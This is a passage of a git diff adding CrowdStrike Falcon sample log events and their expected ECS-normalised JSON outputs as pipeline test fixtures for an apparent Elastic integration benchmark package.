+            "crowdstrike": {
+                "event": {
+                    "AuditKeyValues": [
+                        {
+                            "Key": "target_name",
+                            "ValueString": "alice@company.com"
+                        }
+                    ],
+                    "OperationName": "requestResetPassword",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 4,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "requestResetPassword"
+                ],
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-02-13T13:41:52.140Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 4,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601312140,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"requestResetPassword\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601312140,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"target_name\",\n                \"ValueString\": \"alice@company.com\"\n            }\n        ]\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "CrowdStrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.8"
+                ],
+                "user": [
+                    "alice",
+                    "alice@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "alice@company.com",
+                "name": "alice"
+            }
+        },
+        {
+            "@timestamp": "2020-02-13T13:42:21.730Z",
+            "crowdstrike": {
+                "event": {
+                    "OperationName": "twoFactorAuthenticate",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 5,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "twoFactorAuthenticate"
+                ],
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-02-13T13:42:21.730Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 5,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601341730,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"twoFactorAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601341730\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "CrowdStrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.8"
+                ],
+                "user": [
+                    "alice",
+                    "alice@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "alice@company.com",
+                "name": "alice"
+            }
+        },
+        {
+            "@timestamp": "2020-02-13T13:45:20.236Z",
+            "crowdstrike": {
+                "event": {
+                    "AuditKeyValues": [
+                        {
+                            "Key": "target_name",
+                            "ValueString": "first.last@company.com"
+                        }
+                    ],
+                    "OperationName": "changePassword",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 6,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "changePassword"
+                ],
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-02-13T13:45:20.236Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 6,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601520236,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"changePassword\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601520236,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"target_name\",\n                \"ValueString\": \"first.last@company.com\"\n            }\n        ]\n    }\n}",
+                "outcome": "success",
+                "type": [
+                    "user",
+                    "change"
+                ]
+            },
+            "message": "CrowdStrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.8"
+                ],
+                "user": [
+                    "alice",
+                    "alice@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "alice@company.com",
+                "name": "alice"
+            }
+        },
+        {
+            "@timestamp": "2020-02-13T13:46:12.362Z",
+            "crowdstrike": {
+                "event": {
+                    "OperationName": "userAuthenticate",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 7,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "userAuthenticate"
+                ],
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-02-13T13:46:12.362Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 7,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601572362,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"userAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601572362\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "CrowdStrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.8"
+                ],
+                "user": [
+                    "alice",
+                    "alice@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "alice@company.com",
+                "name": "alice"
+            }
+        },
+        {
+            "@timestamp": "2020-02-13T13:50:14.754Z",
+            "crowdstrike": {
+                "event": {
+                    "OperationName": "twoFactorAuthenticate",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 8,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "twoFactorAuthenticate"
+                ],
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-02-13T13:50:14.754Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 8,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601814754,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"twoFactorAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601814754\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "CrowdStrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.8"
+                ],
+                "user": [
+                    "alice",
+                    "alice@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "alice@company.com",
+                "name": "alice"
+            }
+        },
+        {
+            "@timestamp": "2020-02-13T13:50:20.289Z",
+            "crowdstrike": {
+                "event": {
+                    "OperationName": "selfAcceptEula",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 9,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "selfAcceptEula"
+                ],
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-02-13T13:50:20.289Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 9,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601820289,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"selfAcceptEula\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601820289\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "CrowdStrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.8"
+                ],
+                "user": [
+                    "alice",
+                    "alice@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "alice@company.com",
+                "name": "alice"
+            }
+        },
+        {
+            "@timestamp": "2020-02-13T14:14:22.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AuditKeyValues": [
+                        {
+                            "Key": "detection_id",
+                            "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"
+                        },
+                        {
+                            "Key": "new_state",
+                            "ValueString": "in_progress"
+                        },
+                        {
+                            "Key": "assigned_to",
+                            "ValueString": "First Last"
+                        },
+                        {
+                            "Key": "assigned_to_uid",
+                            "ValueString": "first.last@company.com"
+                        }
+                    ],
+                    "ServiceName": "detections"
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "UserActivityAuditEvent",
+                    "offset": 10,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "user_activity_audit_event",
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-02-13T14:14:22.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 10,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1581603262000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"detection_update\",\n        \"ServiceName\": \"detections\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"detection_id\",\n                \"ValueString\": \"ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745\"\n            },\n            {\n                \"Key\": \"new_state\",\n                \"ValueString\": \"in_progress\"\n            },\n            {\n                \"Key\": \"assigned_to\",\n                \"ValueString\": \"First Last\"\n            },\n            {\n                \"Key\": \"assigned_to_uid\",\n                \"ValueString\": \"first.last@company.com\"\n            }\n        ],\n        \"UTCTimestamp\": 1581603262\n    }\n}",
+                "type": [
+                    "change"
+                ]
+            },
+            "message": "detection_update",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.8"
+                ],
+                "user": [
+                    "alice",
+                    "alice@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "alice@company.com",
+                "name": "alice"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log
new file mode 100644
index 0000000000..d977070b06
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log
@@ -0,0 +1,92 @@
+{
+    "metadata": {
+        "customerIDString": "123123abcd",
+        "offset": 6,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1686845212400,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "API:USERID",
+        "UserIp": "175.16.199.1",
+        "OperationName": "streamStopped",
+        "ServiceName": "Crowdstrike Streaming API",
+        "Success": true,
+        "UTCTimestamp": 1686839378,
+        "AuditKeyValues": [
+            {
+                "Key": "eventType",
+                "ValueString": "All event type(s)"
+            },
+            {
+                "Key": "APIClientID",
+                "ValueString": "APIID"
+            },
+            {
+                "Key": "partition",
+                "ValueString": "0"
+            },
+            {
+                "Key": "offset",
+                "ValueString": "2"
+            },
+            {
+                "Key": "appId",
+                "ValueString": "APPIDTEST"
+            }
+        ],
+        "Attributes": {
+            "APIClientID": "APPCLIENTIDTEST",
+            "appId": "APPIDTEST",
+            "eventType": "All event type(s)",
+            "offset": "2",
+            "partition": "0"
+        }
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "123123abcd",
+        "offset": 8,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1686849556137,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "API:USERID",
+        "UserIp": "175.16.199.1",
+        "OperationName": "streamStarted",
+        "ServiceName": "Crowdstrike Streaming API",
+        "Success": true,
+        "UTCTimestamp": 1686849556,
+        "AuditKeyValues": [
+            {
+                "Key": "APIClientID",
+                "ValueString": "APICLIENTID"
+            },
+            {
+                "Key": "partition",
+                "ValueString": "0"
+            },
+            {
+                "Key": "offset",
+                "ValueString": "8"
+            },
+            {
+                "Key": "appId",
+                "ValueString": "APPIDTEST"
+            },
+            {
+                "Key": "eventType",
+                "ValueString": "All event type(s)"
+            }
+        ],
+        "Attributes": {
+            "APIClientID": "APICLIENTID",
+            "appId": "APPIDTEST",
+            "eventType": "All event type(s)",
+            "offset": "8",
+            "partition": "0"
+        }
+    }
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json
new file mode 100644
index 0000000000..028a422941
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json
@@ -0,0 +1,190 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-06-15T14:29:38.000Z",
+            "crowdstrike": {
+                "event": {
+                    "Attributes": {
+                        "APIClientID": "APPCLIENTIDTEST",
+                        "appId": "APPIDTEST",
+                        "eventType": "All event type(s)",
+                        "offset": "2",
+                        "partition": "0"
+                    },
+                    "AuditKeyValues": [
+                        {
+                            "Key": "eventType",
+                            "ValueString": "All event type(s)"
+                        },
+                        {
+                            "Key": "APIClientID",
+                            "ValueString": "APIID"
+                        },
+                        {
+                            "Key": "partition",
+                            "ValueString": "0"
+                        },
+                        {
+                            "Key": "offset",
+                            "ValueString": "2"
+                        },
+                        {
+                            "Key": "appId",
+                            "ValueString": "APPIDTEST"
+                        }
+                    ],
+                    "OperationName": "streamStopped",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 6,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "streamStopped"
+                ],
+                "category": [
+                    "iam"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 6,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"API:USERID\",\n        \"UserIp\": \"175.16.199.1\",\n        \"OperationName\": \"streamStopped\",\n        \"ServiceName\": \"Crowdstrike Streaming API\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1686839378,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"eventType\",\n                \"ValueString\": \"All event type(s)\"\n            },\n            {\n                \"Key\": \"APIClientID\",\n                \"ValueString\": \"APIID\"\n            },\n            {\n                \"Key\": \"partition\",\n                \"ValueString\": \"0\"\n            },\n            {\n                \"Key\": \"offset\",\n                \"ValueString\": \"2\"\n            },\n            {\n                \"Key\": \"appId\",\n                \"ValueString\": \"APPIDTEST\"\n            }\n        ],\n        \"Attributes\": {\n            \"APIClientID\": \"APPCLIENTIDTEST\",\n            \"appId\": \"APPIDTEST\",\n            \"eventType\": \"All event type(s)\",\n            \"offset\": \"2\",\n            \"partition\": \"0\"\n        }\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "Crowdstrike Streaming API",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "175.16.199.1"
+                ],
+                "user": [
+                    "API:USERID"
+                ]
+            },
+            "source": {
+                "geo": {
+                    "city_name": "Changchun",
+                    "continent_name": "Asia",
+                    "country_iso_code": "CN",
+                    "country_name": "China",
+                    "location": {
+                        "lat": 43.88,
+                        "lon": 125.3228
+                    },
+                    "region_iso_code": "CN-22",
+                    "region_name": "Jilin Sheng"
+                },
+                "ip": "175.16.199.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "API:USERID"
+            }
+        },
+        {
+            "@timestamp": "2023-06-15T17:19:16.000Z",
+            "crowdstrike": {
+                "event": {
+                    "Attributes": {
+                        "APIClientID": "APICLIENTID",
+                        "appId": "APPIDTEST",
+                        "eventType": "All event type(s)",
+                        "offset": "8",
+                        "partition": "0"
+                    },
+                    "AuditKeyValues": [
+                        {
+                            "Key": "APIClientID",
+                            "ValueString": "APICLIENTID"
+                        },
+                        {
+                            "Key": "partition",
+                            "ValueString": "0"
+                        },
+                        {
+                            "Key": "offset",
+                            "ValueString": "8"
+                        },
+                        {
+                            "Key": "appId",
+                            "ValueString": "APPIDTEST"
+                        },
+                        {
+                            "Key": "eventType",
+                            "ValueString": "All event type(s)"
+                        }
+                    ],
+                    "OperationName": "streamStarted",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 8,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "streamStarted"
+                ],
+                "category": [
+                    "iam"
+                ],
+                "created": "2023-06-15T17:19:16.137Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 8,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1686849556137,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"API:USERID\",\n        \"UserIp\": \"175.16.199.1\",\n        \"OperationName\": \"streamStarted\",\n        \"ServiceName\": \"Crowdstrike Streaming API\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1686849556,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"APIClientID\",\n                \"ValueString\": \"APICLIENTID\"\n            },\n            {\n                \"Key\": \"partition\",\n                \"ValueString\": \"0\"\n            },\n            {\n                \"Key\": \"offset\",\n                \"ValueString\": \"8\"\n            },\n            {\n                \"Key\": \"appId\",\n                \"ValueString\": \"APPIDTEST\"\n            },\n            {\n                \"Key\": \"eventType\",\n                \"ValueString\": \"All event type(s)\"\n            }\n        ],\n        \"Attributes\": {\n            \"APIClientID\": \"APICLIENTID\",\n            \"appId\": \"APPIDTEST\",\n            \"eventType\": \"All event type(s)\",\n            \"offset\": \"8\",\n            \"partition\": \"0\"\n        }\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "Crowdstrike Streaming API",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "175.16.199.1"
+                ],
+                "user": [
+                    "API:USERID"
+                ]
+            },
+            "source": {
+                "geo": {
+                    "city_name": "Changchun",
+                    "continent_name": "Asia",
+                    "country_iso_code": "CN",
+                    "country_name": "China",
+                    "location": {
+                        "lat": 43.88,
+                        "lon": 125.3228
+                    },
+                    "region_iso_code": "CN-22",
+                    "region_name": "Jilin Sheng"
+                },
+                "ip": "175.16.199.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "API:USERID"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log
new file mode 100644
index 0000000000..aa0e66380d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log
@@ -0,0 +1,26 @@
+{
+	"metadata": {
+		"customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+		"offset": 54712858,
+		"eventType": "CSPMIOAStreamingEvent",
+		"eventCreationTime": 1663011160000,
+		"version": "1.0"
+	},
+	"event": {
+		"AccountId": "XXXXXXXXXXXX",
+		"PolicyId": 249,
+		"PolicyStatement": "EC2 instance manually deleted by IAM user",
+		"CloudProvider": "aws",
+		"CloudService": "EC2",
+		"Severity": 1,
+		"SeverityName": "High",
+		"EventAction": "TerminateInstances",
+		"EventSource": "aws.cloudtrail",
+		"EventCreatedTimestamp": 1663011160,
+		"UserId": "AIDAXRCSSEFWEAH3BLR2Z",
+		"UserName": "cs_internal_service_acct",
+		"UserSourceIp": "81.2.69.144",
+		"Tactic": "Impact",
+		"Technique": "Data Destruction"
+	}
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json
new file mode 100644
index 0000000000..1936b1ec16
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json
@@ -0,0 +1,94 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2022-09-12T19:32:40.000Z",
+            "cloud": {
+                "account": {
+                    "id": "XXXXXXXXXXXX"
+                },
+                "provider": "aws",
+                "service": {
+                    "name": "EC2"
+                }
+            },
+            "crowdstrike": {
+                "event": {
+                    "PolicyId": 249,
+                    "Severity": 1,
+                    "SeverityName": "High"
+                },
+                "metadata": {
+                    "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+                    "eventType": "CSPMIOAStreamingEvent",
+                    "offset": 54712858,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "TerminateInstances",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2022-09-12T19:32:40.000Z",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712858,\n\t\t\"eventType\": \"CSPMIOAStreamingEvent\",\n\t\t\"eventCreationTime\": 1663011160000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"PolicyId\": 249,\n\t\t\"PolicyStatement\": \"EC2 instance manually deleted by IAM user\",\n\t\t\"CloudProvider\": \"aws\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"EventAction\": \"TerminateInstances\",\n\t\t\"EventSource\": \"aws.cloudtrail\",\n\t\t\"EventCreatedTimestamp\": 1663011160,\n\t\t\"UserId\": \"AIDAXRCSSEFWEAH3BLR2Z\",\n\t\t\"UserName\": \"cs_internal_service_acct\",\n\t\t\"UserSourceIp\": \"81.2.69.144\",\n\t\t\"Tactic\": \"Impact\",\n\t\t\"Technique\": \"Data Destruction\"\n\t}\n}",
+                "provider": "aws.cloudtrail",
+                "severity": 73,
+                "type": [
+                    "info",
+                    "change"
+                ]
+            },
+            "message": "EC2 instance manually deleted by IAM user",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "cs_internal_service_acct"
+                ]
+            },
+            "source": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Impact"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Data Destruction"
+                    ]
+                }
+            },
+            "user": {
+                "id": "AIDAXRCSSEFWEAH3BLR2Z",
+                "name": "cs_internal_service_acct"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log
new file mode 100644
index 0000000000..d1fb05fcec
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log
@@ -0,0 +1,52 @@
+{
+	"metadata": {
+
+		"customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+		"offset": 54712611,
+		"eventType": "CSPMSearchStreamingEvent",
+		"eventCreationTime": 1663009688832,
+		"version": "1.0"
+	},
+	"event": {
+		"AccountId": "XXXXXXXXXXXX",
+		"Region": "us-west-2",
+		"ResourceId": "i-0108fce80eXXXXXXX",
+		"ResourceIdType": "Instance Id",
+		"ResourceName": "",
+		"ResourceCreateTime": 0,
+		"PolicyStatement": "EC2 NACL configured for global ingress",
+		"PolicyId": 26,
+		"Severity": 1,
+		"SeverityName": "High",
+		"CloudPlatform": "AWS",
+		"CloudService": "EC2",
+		"Disposition": "Failed",
+		"ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
+		"Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
+		"ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}",
+		"Tags": [{
+			"Key": "cstag-business",
+			"ValueString": "Sales"
+		}, {
+			"Key": "cstag-accounting",
+			"ValueString": "dev"
+		}, {
+			"Key": "cstag-department",
+			"ValueString": "Sales - 310000"
+		}, {
+			"Key": "Slackbot Env UUID",
+			"ValueString": "C68EC25E-32BD-11ED-AE4B-0EBCA3237C75"
+		}, {
+			"Key": "Name",
+			"ValueString": "CS-SE-Demo-KALI-ROBERT.WILSON"
+		}, {
+			"Key": "Slack_User",
+			"ValueString": "bob.smith"
+		}, {
+			"Key": "cstag-owner",
+			"ValueString": "jane.doe"
+		}],
+		"ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2",
+		"Timestamp": 1663009688832
+	}
+}
\ No newline at end of file
